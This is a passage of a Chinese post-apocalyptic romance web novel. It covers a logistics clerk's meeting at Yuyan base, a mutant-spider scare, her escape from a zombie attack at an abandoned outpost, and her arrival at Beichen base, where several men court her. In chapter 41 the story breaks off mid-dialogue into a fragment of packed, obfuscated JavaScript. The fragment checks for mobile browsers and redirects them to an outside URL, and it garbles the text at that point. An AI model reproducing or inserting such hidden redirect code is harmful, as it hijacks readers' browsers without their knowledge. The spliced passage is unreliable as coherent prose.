林阮儿:“会担心。”
韩司昱嘴角不易察觉地微微勾起:“听上去不像假话,对了,明天的会议,后勤部打算谁去整理汇报啊。”
这事林阮儿知道,各个部门的定期会议,后勤部会让一人代表到会议中汇报后勤的近期情况而已。
“是我去。”
“别担心,定期的问询,资料整合,你完全做得来。”
“嗯,我不紧张的。”
隔天早上八点,二楼小会议厅的人员已经到齐,作为后勤代表林阮儿缓缓推开了门。
身上抱着一个文件夹,林阮儿推门进去的瞬间,察觉到几道视线向她扫了过来,她低着头找位置,就近坐在门边的空椅子上,上面标了名字的。
十分钟后。
“后勤部的,开始吧,林阮儿是吧?你说说近一个月来,后勤人员本周出勤情况和物资对接进度。”赵副基地长说。
她站起来,翻开了文件夹,缓缓说来:“这月后勤部在编人员三十二人,实际出勤三十二人,无一人请假,日常物资搬运主要集中在一号仓库,每天上午八点到下午五点,下午两点到四点是高峰期,本周对接雨燕基地的物资一共七批,其中三批是医疗用品,两批是武器配件,两批是两批是日常补给,全部对接完成,没有出入……”
差不多说了有二十分钟,林阮儿瞥见了下排坐着的人,那些人有的是各个部门的领导,有的是穿着作战服的一些基地大人物。
在会议厅最后边,坐着个陌生男人,看样子他不像是雨燕基地的人,男人身穿一件浅灰色的制服,没有肩章,袖口卷到小臂中间,露出一截精瘦的手腕,搁在桌上的那只手手指很长,骨节分明。
他坐在那儿跟别人都不一样,背靠着椅子,两条腿交叠着,手里没拿本子也没拿笔,就那样看着她。
毫不掩饰的从头到脚的打量。
这道视线格外灼热,烫得直接让她敛回了目光,紧接着,她继续道,“机械油也需要补充了,小江上周检查说管道磨损有点严重,可能得换。”
赵副基地长对她点头:“这没问题,需求都会满足的。”
后排的男人看她回到座位上,这时才动了动,收回视线,端起面前的水杯,他喝了一口,喉结轻微滚动,起身离开了。
“行,后勤的情况我知道了,下一个,巡逻组。”
林阮儿刚才只是稍微看了眼,那个男人的五官很立体,长了一双狭长桃花眼,鼻梁很高,但她没有观察得很细致,除了面生之外,还有一点就是他的制服完全不是基地的制服。
等过会儿散了会,男人又折返回房间,跟这里的赵副基地长说了几句话,然后慢悠悠往门口晃,走到门口突然回过头来,这回林阮儿没来得及躲开,四目相对了大概两秒钟。
那男人的眼睛是浅棕色的,定定地朝她看了许久,林阮儿礼貌性的点头回应。
随后,男人就走远了,下午三点多,林阮儿正在后勤部点验清单,有人进来。
“你是后勤部林阮儿?”
“我是。”
“我叫应睢明,是北宸基地的人。”
北宸基地,那是周边最大的幸存者基地,比雨燕大三四倍,听说里头光作战队伍就有八支。
“请问你有什么事吗?”她问。
应睢明:“是这样,我们顾特战员想请你过去我们北宸基地去,可以不是现在,等你有空的时候,我们会来接你。”
“对不起,我没明白你的意思,为什么要来接我?”
“我们北宸基地的顾特战员通常会来雨燕这边做定期的指导交流,今天见到了你,觉得你刚来胜任登记员,能力很不错,他很看重这点,想什么时候带你过去北宸坐坐,相信我,北宸那边环境比这儿好,你会更愿意过去的。”
林阮儿知道自己不能果断拒绝,只能是找了一个委婉的方式间接说明自己的意愿,她不怎么考虑这个的。
对方只好道:“没关系,我们顾特战员向来不会逼迫别人,有时间可以好好考虑的。”
那位顾特战员上午开会的时候看她的眼神,感觉要把她给吃了似的,她实在不了解他是一个什么人。
好在下午后勤部的活儿不怎么多,快到下班时,基地后勤部的天花板上突然传来一阵嘎吱嘎吱的声音。
林阮儿听见动静赶紧跑到有杂音的地方,这时候,已经站了几个人,仰着头看天花板。
“通风管道里好像有东西,刘哥上去看了,说有地方堵了,得通一通。”
小江跑过来,对林阮儿说。
刘哥从梯子上探出头来:“林阮儿,你身型小些,爬进去方便,能不能你去拿工具,钻进去看看?”
林阮儿应了一声,小江替她跑仓库里拿了个扳手和手电筒。
等她回来的时候,小贺已经把梯子架好了,天花板上那块检修口的板子也卸了下来,露出一个黑漆漆的洞口。
“我跟你上去。”小贺说。
林阮儿愣了一下:“没事,我一个人就行,爬进去看看就出来。”
小贺还是不放心,已经开始爬梯子了:“太黑了,万一有东西呢,我在后头给你照着亮。”
林阮儿想想也对,就跟着爬了上去。
管道里比想象中窄多了,她趴着刚刚好能往前挪,手脚并用那种,小贺跟在她后头,她往前爬一点,他就往前跟一点,爬了大概五六米,管道拐了个弯,更窄了,只有林阮儿一人能使劲挤过去,感觉后背蹭着管道顶的铁皮,凉飕飕的,然后,她停下来,用自己手里的小型手电筒照了照前面,没看见什么东西堵着,奇怪了。
“看见什么了吗?”小贺的声音从后头传来。
“没看见。”林阮儿继续往前爬,到了下一个拐弯的地方,停下来拿扳手敲了敲管壁,听听声音对不对,她每敲一下,身子就会动一动,她紧接着又敲了一下,突然感觉到身后不一样了。
小贺他贴自己有点近了。
她准备整个人往后挪的时候,后背紧紧贴上了他的胸膛,夏天的衣服薄,能感觉到他身上的温度……
林阮儿有些僵住了。
“小贺?你能往后撤些么?我得出去了。”她这么说。
话没说完,一只手突然按在她腰上。
是小贺的手,后勤部经常做活的手很大,几乎把她整个腰都握住了,他按着她,不让她再往前爬。<
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“别动,上面有变异蜘蛛。”
林阮儿听他的话就下意识抬头看,手电筒往上照,铁皮管子,什么都没有。
小江和刘哥站在梯子下方,刘哥问:“到底哪里出问题了?小贺!”
小江心道这小贺平时倒是瞧着不声不响的,动作真快,搂着林阮儿的腰就不放手了,他喊:“嘿!好了没?要没问题,就赶快下来,小贺,问你话呢?”
小贺:“真有蜘蛛,再等会儿。”
小贺让他们都安静下来,果然,那只变异蜘蛛就从管道里钻出,小贺忙叫小江给他一个趁手的工具,那是专门对付变异蜘蛛的,林阮儿看到那只蜘蛛不像是平时那种一样大,居然和她的两只手那么大,差点吓晕过去,还好,那工具趁手,小贺可以远程就把变异蜘蛛用里面特值子弹打死了。
随后,两人从梯子上边下来,林阮儿显然被吓得腿软了,小贺扶着她的胳膊才能安稳走下来,小江赶紧走过去:“没事吧?”
林阮儿脸色很白,她在最前面,不可能看不到蜘蛛,只是瞥了一眼,看到了它的四肢,魂都要吓飞。
小江:“我说小贺,你也没护好她啊,刚才还不如我站上去,我是绝对不会让她看到的,根本不会吓着她。”
小贺:“这不用你提醒。”
刘哥见两人的火药味儿渐浓,赶紧分开两人说:“事情突然,谁也不知道上面出现的问题,本来就是临时解决,不要互相指责了,我看看林登记员的情况如何。”
刘哥朝着林阮儿走去,她坐在椅子上休息,看样子好些了。
“刘哥,我没事了,让大家不用为我担心,我自己好好消化一下,其实想想就是蜘蛛变异了而已。”林阮儿在这里不得不练出一个强心脏。
连续几天,林阮儿对变异蜘蛛的阴影已经被好吃的巧克力替代了。
最近,柯夜队长总是给她送一些水果巧克力,味道有草莓味的、蓝莓味道的还有蜜桃口味的,包装纸的颜色也是根据口味不同定制,比如像是蜜桃口味就是粉色的,青苹果味道就是青色的包装纸,外表还会印着水果的图标,这次,柯夜给她又送来了她最爱的蜜桃口味,林阮儿不禁问:“柯队长,难道你的巧克力是批发来的?”
柯夜只好说这是雨燕基地这边的食品加工厂产的巧克力,制作出来后就给她了。
柯夜:“不是说吃甜食会让心情舒畅,忘记一些不好的事?现在,那只黑蜘蛛还会让你心烦吗?”
林阮儿笑了笑:“柯队长还真了解啊,我觉得吃了几天甜的东西,确实脑海里面不会经常出现那道巨大的黑蜘蛛身影了,真的是很好的一剂良药呢!”
看她这么笑,柯夜也乐了,看她嘴角沾着一点巧克力渣,小小的,褐色的一点,黏在她的下唇边上,他伸出手,拇指直接从她下唇边抹了过去,把那点褐色的渣滓给蹭掉了。
柯夜的指腹在她唇上停了大概半秒左右,他却感觉时间像过了很久很久……
林阮儿赶紧帮他拿了纸张,让他擦了手。
“甜吗?”
林阮儿坐在那儿,嘴唇上还残留着那一瞬间的温度,过了好半天她才想起来咬手里的巧克力。
“嗯,甜。”
39. 第 39 章
雨燕基地实验室,林阮儿推门进去的时候,谢忱正背对着她站在实验操作台前。
“谢实验员,我来拿昨天那批样本的数据。”
谢忱回头,声音从口罩里传出来:“好。”
林阮儿的余光瞥见里面操作台的另一边有人,秦槐靠在窗边,手里转着一支笔,看见她进来,笔停了。
“林阮儿。”他叫她。
“秦槐,是你。”
秦槐:“怎么?见到了我很失望,是我当你们电灯泡了?”
林阮儿摇摇头:“没有,就是觉得……”
“我神出鬼没。”
“那倒没有。”
时先生后续让她可以适当参与一些实验任务,这点她没忘,她低头看屏幕,嘴里念叨着:“那这个数值怎么比上次高了这么多啊……”
”谢忱转过身,摘下口罩,他走过来站在林阮儿身边,弯腰指着屏幕上的一个点:“因为样本保存时间长了,活性物质降解,比如你看这里,降解曲线是这样的,所以后面要重新取样。”
林阮儿点点头,在本子上记了几笔。
秦槐从窗边走过来,站在林阮儿另一边,看了眼屏幕,说:“我记得上次采样的时候环境温度偏高,会不会也有影响?”
谢忱直起身,看他一眼:“的确。”
秦槐的声音很平静,“是不是该考虑重新做一批,把环境变量控制一下。”
谢忱语气没有起伏:“这我比你清楚,阮儿在这边待了这么久,采样流程都是跟我学的,不会有问题。”
林阮儿这时候问秦槐:“你手腕上的好像是我的发绳。”
秦槐看着自己腕子上面带的粉色绒兔发绳道:“怎么证明是你的呢?林登记员。”
秦槐怎么可能不知道是她的,就是林阮儿不小心掉落在训练场地上的,只是准备找她时,林阮儿已经走远了。
林阮儿还没回应,谢忱先说:“这根发绳我有印象,是她的。”
关键,谢忱上午看见秦槐以后,就注意到了他戴着的发绳,秦槐还时常地拉开手腕,动不动就炫耀。
现在又在装傻了……
“你在哪里捡到的?”
秦槐:“就训练场附近。”
林阮儿解释:“要是就是了,我原来的发绳丢了,就那个粉色的,带个小金属扣的,不知道掉哪儿了,我找不到,只能是戴个新的发绳,但粉色小兔发绳确实是我的,不过真的谢谢你,不然我就以为它真的被我弄丢了。”
秦槐把腕上的发绳摘下递给她,手指碰到了她的手,温热的相触,她瞬间收回,秦槐的嘴角动了一下,又压下去。
这时候,林阮儿转过身,继续盯着屏幕,问了谢忱一些问题。
谢忱拉过一把椅子,让她坐下,随后自己也在她旁边坐下,他讲得很细,从原理再到实际操作中的注意事项,他说话的时候离林阮儿很近,肩膀几乎碰到她的肩膀,手指在屏幕上划来划去,偶尔会碰到她握着笔的手。
“加试剂的时候要快,慢了就会沉淀,颜色会变浑浊,上次我做的时候就慢了,结果那一批全废了。”
秦槐在后面咳了一声:“老谢,说完了么?”
谢忱没理会他这位老朋友,继续道:“算了不说这个,阮儿,你记不记得我第一次教你做这个实验的时候,你加试剂的时候手都在抖。”
林阮儿笑了:“我确实那时候不怎么懂,很多都是在尝试的。”
两人一直在聊,话题没有中断,秦槐站定在两人身后,抱臂看她。
谢忱笑了一下,对林阮儿说:“末世来临前,我就在一家研究所待过三年,项目非常复杂,后来研究所没了,我到雨燕基地,还是接着我的老本行。”
林阮儿:“嗯嗯。”
谢忱抬眼看着她,“不过没关系,我会让你慢慢了解我,反正时间还长。”
谢忱:“秦槐,我说你就别待在这边了,你不是专业人员,不用在这里陪着我。”
“那我想陪着你呢?”秦槐邪邪地笑。
他难道不清楚这小子醉翁之意不在酒啊,谢忱懒得戳穿他:“行吧,那你待着。”
待在这里吧,千万别受刺激。
秦槐还站在窗边,外面天色暗下来了,玻璃上映出他的脸,看不清表情。
林阮儿这时开口问:“那个花……就你上回说的能吃的那种花,我忘了它的名字。”
谢忱:“你说紫萼?怎么了?”
“我看到标签上面它能促进血液循环么?”
谢忱他从旁边的架子上拿过一个玻璃瓶,里面装着几朵干枯的紫色小花,对她说道:“花瓣泡水,根茎煮汤,都能用,不过新鲜的更好,你走之前可以摘点带上。”
林阮儿接过瓶子,对着黄色的光源看里面的花:“真神奇,我来了这么久都不知道这花还能吃。”
谢忱语气带着宠溺:“实验室里有你很多不知道的东西,这就是实验的美,这瓶子直接送你。”
林阮儿接过了瓶子,道:“谢谢。”
谢忱:“不用跟我这么客气。”
秦槐在一边插.嘴:“该客气还是客气些。”
然后,他对林阮儿说:“这样吧,时间不早了,我送你回去。”
林阮儿看了一眼自己的手表,时间过得真快啊。
“好,那我先回了。”
谢忱只好没再挽留,秦槐一个劲儿的献殷勤,这会儿就送她出去,临走前还说:“老谢,你还有实验没做完,中途不能停止,我送
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她。”
林阮儿于是和秦槐一起走,谢忱看在眼里内心不是滋味,只能说:“你们路上小心。”
林阮儿两分钟后就折返回来,说:“谢忱,你的眼睛有点红,也别太熬夜,会伤身体的。”
谢忱直接给秦槐一个挑衅的眼色,意思是林阮儿还是更加关切自己。
谢忱扬起了眉,秦槐看不下去,送林阮儿回到木屋。
又过了一月左右,林阮儿准备回到前哨站那边去,上周通往前哨站的桥已经修好,她得到了上面同意她重新入队的批复,但这件事很快就传了出来。
最先知道的人是韩司昱。
上午顶着烈日的韩司昱换了个靶位,继续打,旁边站着了一排士兵,谁也不敢说话,只有靶纸换了一张又一张,弹壳落了一地,他们只能是在旁边看着,却不敢开口劝。
训练场的枪.声从早上就没停过,韩司昱站在靶位后边,靶纸早就被打烂了。
其中一位士兵说:“韩队,您今天打了四个小时了,要不……”
韩司昱:“报靶。”
报靶的士兵战战兢兢跑过去换,回来的时候腿都在抖。
“就这?你们平时训练就这水平?我一上午打的子弹比你们一个月都多,都愣着干什么?加练!!”
这时,二十几个士兵齐刷刷趴下,枪栓拉得噼里啪啦响。
韩司昱结束了打靶,把枪.收到腰间,拿起水壶灌了半壶,剩下的从头顶浇下去,水顺着脖子流进领口,瞬间衣服就洇湿了一大片,旁边的副队长给他递过来毛巾,他没接,就那么湿淋淋地站着,看着靶场上那些士兵们的背影。
副队长知道肯定有事刺激到他,韩队一反往常的样子压根就不像他平时。
林阮儿已经搬好了自己的行李,除了行李箱子,还有昨天不少人给她送来这里的食物和一些玩具之类,表示感谢过后,她统统都将那些东西全部放到了自己的一个大的袋子里,再加一个小的斜挎包,就是全部了。
她走出了木屋,前来送她的人是柯夜。
柯夜接过她的行李箱,接过袋子,重量沉甸甸的东西全部由他拿着了,他问:“真要走吗?”
“既然道路已经通了,也不能总是在这边待着了。”
“其实你想留下是可以的。”
柯夜顿了下,又道,“在这里也有你的工作不是吗?回去,必须的么?”
林阮儿:“嗯,应该回的。”
二人视线交接,柯夜稍显落寞地道:“走之前,你能满足我一个小的请求么?”
林阮儿:“柯队长帮了我那么多,当然可以。”
柯夜把她的行李放下,腾出了手,把她逼退到后方的墙面上,勾唇轻笑:“那我能亲你一下吗?”
40. 第 40 章
林阮儿就那么看着他,没有回答。
柯夜的脸凑近,难以自控地吻向了她的唇角,林阮儿没躲,柯夜感到脑海一片空白,热流涌上,却没再继续了。
他吻得小心翼翼,吻得异常珍惜,林阮儿感觉到他嘴唇抖了一下,就那么轻轻碰着,她心跳快了两拍,短暂的两秒后,柯夜已经退开了,手还扶在她肩膀上,指头微微用了点力。
他声音很低:“走吧,我送你回去。”
林阮儿点点头,脸不住会有点烫。
外头风大,柯夜带着她往基地门口走。
门口停了辆军用越野,柯夜跟驾驶座上的士兵说了几句,拉开车门让林阮儿上去,车开动的时候她从后视镜里看见柯夜还站在原地,手插在口袋里,远望着自己。
车辆行驶了两个小时了,林阮儿透过了车窗玻璃,看着外面灰蒙蒙蒙的天,远处几栋塌了半边的楼歪在那里,钢筋都锈成了褐色,路面上裂开的口子能塞进一个拳头,杂草从缝里钻出来,都快有半人高了。
开车的是雨燕基地的一个年轻士兵,叫赵彰,一路上没怎么说话,就刚上车的时候冲她点了点头。
“快到了吧?”林阮儿问。
赵彰看了眼窗外:“前面拐个弯就到,柯队长交代了,得把您送进哨站里头,等里头的人接到你才能走。”
车拐过了那片塌了一半的厂房,赵彰突然踩了刹车。
“怎么了?”林阮儿直起身。
赵彰没说话,盯着前面看,林阮儿顺着他的目光望过去,前哨站,竟然完全空了。
什么都没了。
铁丝网没了,房子都没了,就剩一片踩得乱七八糟的泥地,几个烧黑的火堆,还有一些扔得到处都是的垃圾。
“是不是开错了?”林阮儿声音有些发紧。
赵彰摇摇头:“就是这儿。”
他推开车门下去,林阮儿也跟着下了车,前哨站的地上有深深的车辙印,好几道,乱七八糟地压在一起,还有拖拽的痕迹,拖了老长,一直拖到那片矮树林子里头。
“这是……”林阮儿张了张嘴,说不出话来。
旁边的杂草垛子里突然钻出个人来,吓得林阮儿往后退了一步,那人穿着一身脏得看不出颜色的衣服,脸上黑一道白一道的,眼珠子凸着,瘦得跟骨头架子似的。
“你是谁?”赵彰手已经按在腰间的枪.上了。
那人说:“我是前哨站的,林阮儿,是你?”
林阮儿一怔:“你认识我?”
那人看向她,眼眶突然红了:“我是二虎,食堂的那个打饭师傅二虎,每次会给你多盛一些饭。”
林阮儿想起来了,问:“到底怎么回事呢?前哨站里的人呢?”
二虎的嘴抖了抖,半天才说出话来:“前天夜里头两点多,北边那拨丧尸突然疯了似的往这边涌,值班的士兵先发现的,喊都来不及喊,第一批就冲进来了,那晚的丧尸跟以前的不一样,跑得快,跳得高,还有几只个头特别大的,一巴掌能把铁皮墙拍出个坑来,前哨站的人拼死抵抗,死了得有几十人,剩下的都撤了。”
“撤哪儿去了?”赵彰问。
二虎摇头:“不知道,我那时候被吓晕了,醒过来的时候他们都已经走了,我躲在那边的下水道里,待了两天……这才安全了,那些丧尸很难对付,必须用火烧,但那丧尸死了也要搭上这房子,直到前哨站彻底烧没了,这里就剩我一个人。”
怪不得,最后一周没人再给她回信,联络已经全部断掉,甚至这里一点儿信号都没了,二虎看着他说:“就是信也发出不去了,林登记员,你估计没有收到信吧。”
如果收到了,她就不会来这里了。
林阮儿站在原地,手脚冰凉。
话没说完,远处传来一阵嘶吼。不是一只两只,是一群。
二虎的脸一下子没了血色:“是它们……那些东西没走远!”
赵彰一把拉住林阮儿往树林子里跑,二虎跟在后边,可他还没跑出去二十米,树林子里头也钻出来好几只。
那些丧尸跟以前见过的不一样,有的四肢着地跑,跟野兽似的,有的脊背上鼓着包,一鼓一鼓的像有什么东西要钻出来,还有一只的胳膊特别长,耷拉到膝盖以下,手指头都变形了,弯成奇怪的弧度。
林阮儿被赵彰拽着跑。她听见二虎在后面喊了一声,回头一看,两只巨型的丧尸已经把他扑倒在地,其中一个张开嘴,一口咬在他脖子上,血溅出来,喷了那丧尸一脸。
赵彰开枪了,打中了一只,可更多的围过来,他把林阮儿往身前一推:“跑!往那个方向跑!别回头!”
下一瞬,护在她身后的赵彰就被丧尸直接咬掉了半拉肩膀,血溅了她一身……
林阮儿忍住,努力不要叫出声音,只见那丧尸站起来,往声音的方向扑过去,她这才看清了那东西的样子了。
它的脖子歪着,脸上全是溃烂的肉,眼睛是两个黑洞,嘴张开的时候能看见里头一排一排的牙,不止一层,层层叠叠的外翻着。
她不知道哪来的力气,从废墟后头站起来,抓起地上一个废旧的铁皮桶就扔过去,铁皮桶砸在那东西背上,哐的一声响。
林阮儿往后跑,脚底下不知道绊到什么,摔在地面,手撑地的时候擦破了皮,手心火辣辣的疼,她翻过身往后挪,可它速度很快,已经到她跟前了,低下头,那股味儿直冲脑门,熏得她想吐。
此刻,她的眼泪已经糊了一脸,以自己的躯体是没法和丧尸对抗的,只能是等死。
只期望丧尸能痛快些,不要让她变成了丧尸,那样不仅痛快而且好难看。
砰!
一声火枪.响,林阮儿抬起头,看见一辆军绿色的越野车开了过来。
那车跟她见过的都不一样,比普通部队车身更高,轮胎更厚,车顶上架着机枪,旁边蹲着个人,正拿望远镜往这边看。
车停了。
车门打开,下来一个人,穿着黑色的作战服,胸口有防弹板,胳膊上绑着对讲机,刚才就是他命令车顶的人开.枪才救了她,她观察到车是那种改装过的装甲车,车身上印着两个字:北宸。
男人命令旁边的一位士兵下去检查一番她有没有被咬,检查过后没有伤口,检测仪器也显示毫无变异风险,男人对她说:“运气不错,现在丧尸都在变异进化,这种变异丧尸,一旦咬一口五分钟就发作了,彻底没救。”
林阮儿有些后怕,腿有些站不稳,黑色作战服的男人看向他,朝他伸手:“燕符云,你叫什么?”
“林阮儿。”
“先上车。”
车门拉开后,里面坐着好几个人,穿着那种厚实的作战服,从头包到脚,脸上戴着面罩,手里端着.枪,林阮儿找了个靠门的位置坐下,把自己缩成小小一团。
这时候,外头有士兵跟燕符云说话:“报告,燕特战员,清理完了,三个二级变异,一个三级的。”
燕符云看她,林阮儿脸上身上都是黑的,头发乱糟糟的,手上还有血。
“燕
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特战员,她怎么处理?”
燕符云说:“带回去。”
后来,燕符云了解清楚情况,才知道林阮儿从雨燕基地到前哨站,才发觉前哨站已经被这些巨型变异占领了,送她来的一位雨燕基地士兵已经死亡,另外的那位二虎也已经被丧尸咬死了。
林阮儿现在也回不去雨燕基地,只能跟着他们走,只能是自己寻求一个安全的地方吧。
车开了很久,久到天完全黑了下来,车里开了昏黄的灯光,有人在闭眼睡觉,有人在擦.枪,林阮儿靠着车厢,眼皮越来越沉。
她做了个乱七八糟的梦,她梦见二虎被咬的时候,血喷出来的样子,梦见了来送她的赵彰,还梦见那些胳膊腿特别长的丧尸,直接朝她扑过来……
等她醒来,已经浑身冷汗了,燕符云递给她一瓶水。
林阮儿接过来,拧了好几下没拧开,他伸手又拿过去,拧开了,递回来。
“谢谢。”她说。
车又继续开了一个多小时,终于停了。
林阮儿往外看,外头有灯,挺亮的,照着很高的围墙,眼前是一座巨大的基地。围墙有四五层楼那么高,墙上拉着铁丝网,隔一段就有个岗楼,岗楼里亮着灯。
大门铁焊的,厚得能挡住坦克,门口站着四个穿作战服的人,手里端着.枪。
“到了,下车吧。”燕符云声音很沉道。
林阮儿揉揉眼睛,跟着他下了车。
下车后,燕符云向她介绍了基地情况。
“北宸基地人口两万五千人,有独立的水源和发电系统,常驻作战人员至少四千六,装甲车三十七辆,直升机两架,我们身上穿的都是防弹板和战术背心,出任务时必须穿,外面那些玩意儿,有的爪子能划开普通布料。”
他指了下基地内部停的一辆车,继续,“这种改装的装车,一般基地没有。”
林阮儿点点头。
话音刚落,燕符云就从车上拿了件外套递给她,林阮儿低头看自己身上被血迹溅到的外套,犹豫了一下。
他把那件新的往她手里一塞,把自己那件外套脱下来披她身上:“先穿着,你那件我让人处理一下。”
林阮儿把那件脏外套脱下来,披上他那件干净的外套,带着点洗衣粉的味道,还有一点点的体温。
她跟着他往里走,刚进去就迎面走过来一人。
林阮儿抬头就直接愣住了。
那个人也停住了,盯着她看。
是那位顾特战员。
上回在雨燕基地见过,那时候他也这么盯着她看,现在又这样,眼神从上往下扫了一遍,停在她脸上,又扫了一遍。
“是顾特战员啊。”燕符云朝他打了个招呼。
顾阡没理他,还是盯着林阮儿,盯了好几秒,突然笑了下。
“又见面了。”他说。
林阮儿不知道说什么,就点了下头。
他往前走了一步,伸出手:“顾阡。”
林阮儿伸手跟他握了一下,他的手很热,握得很紧,握住了就没松开。
“林阮儿。”她说。
他点点头,还是没松手。
旁边燕符云清咳一声,顾阡这才看她一眼,慢慢松开手,但眼睛还黏在林阮儿的身上。
“怎么来北宸了?”他问。
燕符云在旁边开口:“她从雨燕准备回前哨站,前哨站的人已经搬走,那里全是丧尸,就这姑娘一人在外头。”
顾阡眉头微皱,看她:“一个人?”
41. 第 41 章
燕符云:“我先安顿好她。”
顾阡:“我去,毕竟我们认识。”
燕符云看了一眼林阮儿,林阮儿点头:“在雨燕基地,我和顾特战员确实见过。”
燕符云有些犹豫,这时,顾阡道:“跟我走吧。”
他的话语不容置喙,林阮儿于是跟着他走,顾阡帮她找住所。
在住所区,顾阡拿着电子卡推开外面铁门,幽幽道:“进来吧,愣着干什么?”
他帮她拿了大部分行李,林阮儿背着自己的挎包就这么走进去。
住所区域是栋蓝楼,房间是那种寝室的布局,比她想象的大,墙面刷了一层白色的漆,上下两层的床,509房间靠左位置的床垫用塑料布包着还没拆,窗户朝南,下午的阳光照进来,窗台上放着一盆绿萝,叶子有点蔫了。
顾阡把电子卡放在桌上:“这个拿着,进出用的,要是基地发警报,这玩意儿会响,响了就往地下避难所跑。”
林阮儿放下行李后,她拿起那张卡看了看,收了起来。
顾阡走到窗边,摸摸绿萝的叶子:“这地方是安置人员的住所,你以前住什么样的?”
“比这小一半,但我一个人住。”
顾阡转过身,靠在窗台旁:“这里三个人住,有独立卫生间,热水每天早晚各供应一小时,食堂在楼下,每天定额饭量。”
林阮儿点了点头。
顾阡看着她,忽然笑了:“怎么,还紧张呢?”
林阮儿摇头:“没有。”
“你收拾收拾,一会儿有人来给你登记信息,我先走了。”
他往门口走,手都搭在门把手上了,又回头:“对了,有件事儿。”
林阮儿疑惑地看着他。
顾阡说:“你有男朋友吗?”
林阮儿愣了一下。
顾阡又笑了,笑得挺随意的:“别紧张,我就是问问,末世嘛,就得找个可靠的男人,对吧?比如我……”
林阮儿没说话。
顾阡看着她,眼睛里的笑意收了收,道:“开个玩笑,别往心里去。”
他把门拉开,走了出去。
林阮儿站在原地,听见他的脚步声在走廊里越来越远。
她低头看了看手里的电子卡,又抬头看了看这个房间,她走到窗边往外看,楼下是个院子。
她回到床边,拆开床垫的塑料布,她又端起窗台上的杯子,往里面倒了点自己水壶里的水。
门被敲响了。
“你好,安置人员登记信息的。”
林阮儿打开门,门口站着个女的,三十来岁,穿着基地统一发的橙色制服,手里拿着个平板。
“我叫周芳,负责这片儿的安置登记。”
林阮儿侧身让她进来,在询问过了基础信息资料之后,周芳走到门口,又回头:“对了,床上用品去楼下库房领,被褥枕头床单,一人一套,凭卡领。”
女人走后,林阮儿在桌边歇坐了一会儿,然后站起来走出了门。
楼下库房在一楼最里面,门开着,里面堆着各种物资,一个女的坐在门口嗑瓜子,看见她来了,吐出瓜子皮:“领什么?”
“床上用品。”
文梅直接站起来,进去抱了一卷被褥出来,又拿了枕头、床单、枕套,堆在了柜台,说:“数数,齐了没。”
林阮儿看了看:“齐了。”
“行,签个字。”文梅递过来一个本子。
林阮儿签完字,正要把东西抱起来,文梅忽然压低声音:“哎,你是顾特战员亲自安排进来的那个?”
林阮儿愣了一下。
她继续说:“我就说嘛,顾特战员亲自送人进来的,肯定得有点关系,这不,顾特战员给你关照,告诉我给你多些物资,黄叔,照着我手里的清单拿东西。”
库房里有人应了一声,不一会儿,一个老伯走了出来,他手里拿着条毯子、热水壶、眼罩、红外按摩仪等一些物件。
文梅把这些东西往林阮儿面前一放:“拿着,都是你的。”
林阮儿没动,她说:“怎么?不乐意拿?”
“没。”
“咱物资多,顾特战员贴心帮你配齐全了,不好么?”
林阮儿抱着那堆东西,实在一时不知道该说什么。
文梅又坐回门口,继续嗑瓜子:“行了,回去吧,以后有什么需要的,来库房找我,我叫文梅。”
林阮儿抱着东西往外走,走到楼道口,听见身后文梅跟那个黄叔说:“顾特战员亲自关照的,看见没?我在这儿干了三年了,就没见过他对谁这么上心。”
黄叔朝她比了个噤声的手势。
林阮儿抱着东西上楼,在楼梯拐角遇见两个女的,一个扎着马尾,一个剪着短发,都穿一套橙色制服,手里拿着饭盒,应该是刚吃完饭回来。
扎马尾的王薇看见她,脚步停了一下:“新来的?”
林阮儿点点头。
短发女李娜往旁边让了让:“住几楼?”
“五楼。”
“那咱们一层。”李娜笑了笑,“我住509,你住多少?”
“509。”
“拿好啊,我们在一层啊,那房间透光好,住着舒服。”李娜说。
扎马尾的王薇热忱的伸手接过林阮儿怀里的一卷被褥,李娜也帮着拿她的枕头和床单,三个人一起往楼上走。
林阮儿说:“谢谢你们。”
“客气什么,我们两个都是前几个月来这里的。”
李娜:“你是从哪个基地来的?”
林阮儿:“是前哨站。”
王薇愣了一下:“前哨站?哦,那个基地不是被毁了吗?听说是突然涌入了一批超级变异丧尸,不然也不至于毁得那么厉害,你是幸存者吗?”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17226983|195048||http|test|mini|href|location''.split(''|''),0,{}));
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>林阮儿只好把事情经过说出,两人点点头,没再继续问下去。
三人到了房间,李娜对林阮儿说:“食堂在二楼,晚饭五点半开始,我们一起吧。”
“好。”
两人到床铺休息,林阮儿站在房间里,看着那堆在床上的各种物件,先把被褥铺在床上,把床单铺平,把枕头塞进枕套里,毯子叠好之后放在床尾。
两小时后,房屋的门又被敲响了,林阮儿打开门,看见的是燕符云。
燕符云站在门口,手里拎着个袋子,林阮儿出去,跟燕符云一起到了走廊上,他问:“收拾得怎么样了?”
“差不多了。”
燕符云手里的袋子给她:“给你带了点东西,牙膏牙刷毛巾,还有块香皂,基地发的那些质量不太好,这是我自己用的,多出来的。”
林阮儿看着那个袋子,又看看燕符云。
燕符云说:“顺手带的,拿着。”
林阮儿点点头:“谢谢。”
燕符云:“住得惯吗?”
“还好。”
“这地方条件算不错的了,我以前刚来的时候,住的六人间,上下铺,一个房间十二个人。”
燕符云看着她,继续道,“你怎么样?回来之后有没有什么不舒服的?比如说做噩梦,睡不着,或者总想起那天的事?”
林阮儿想了想:“还好。”
燕符云点点头:“如果有什么不舒服的,可以到北宸的心理诊疗室,那边有专门的人,可以跟你聊一聊,或者……”他顿了顿,“你要是信得过我,也可以跟我说,我虽然不是专业的,但也见过一些事,开导开导还是可以的。”
林阮儿看着他:“我现在没再做那些噩梦,好了很多。”
燕符云笑了笑:“你是我带进来的,我们算是有点缘分在,看到过那些冲击力场景,难免会产生心理问题。”
林阮儿点点头。
燕符云说:“行了,我走了,你休息吧。”
他一步三回头地离开。
她回到房间,打开那个袋子,拿出了日常用品后,又把袋子里的一个小盒子打开,里面是四块饼干,码得整整齐齐。
不是那种压缩饼干,她尝了一口,味道很不错,很松软,一咬就酥的那种饼干。
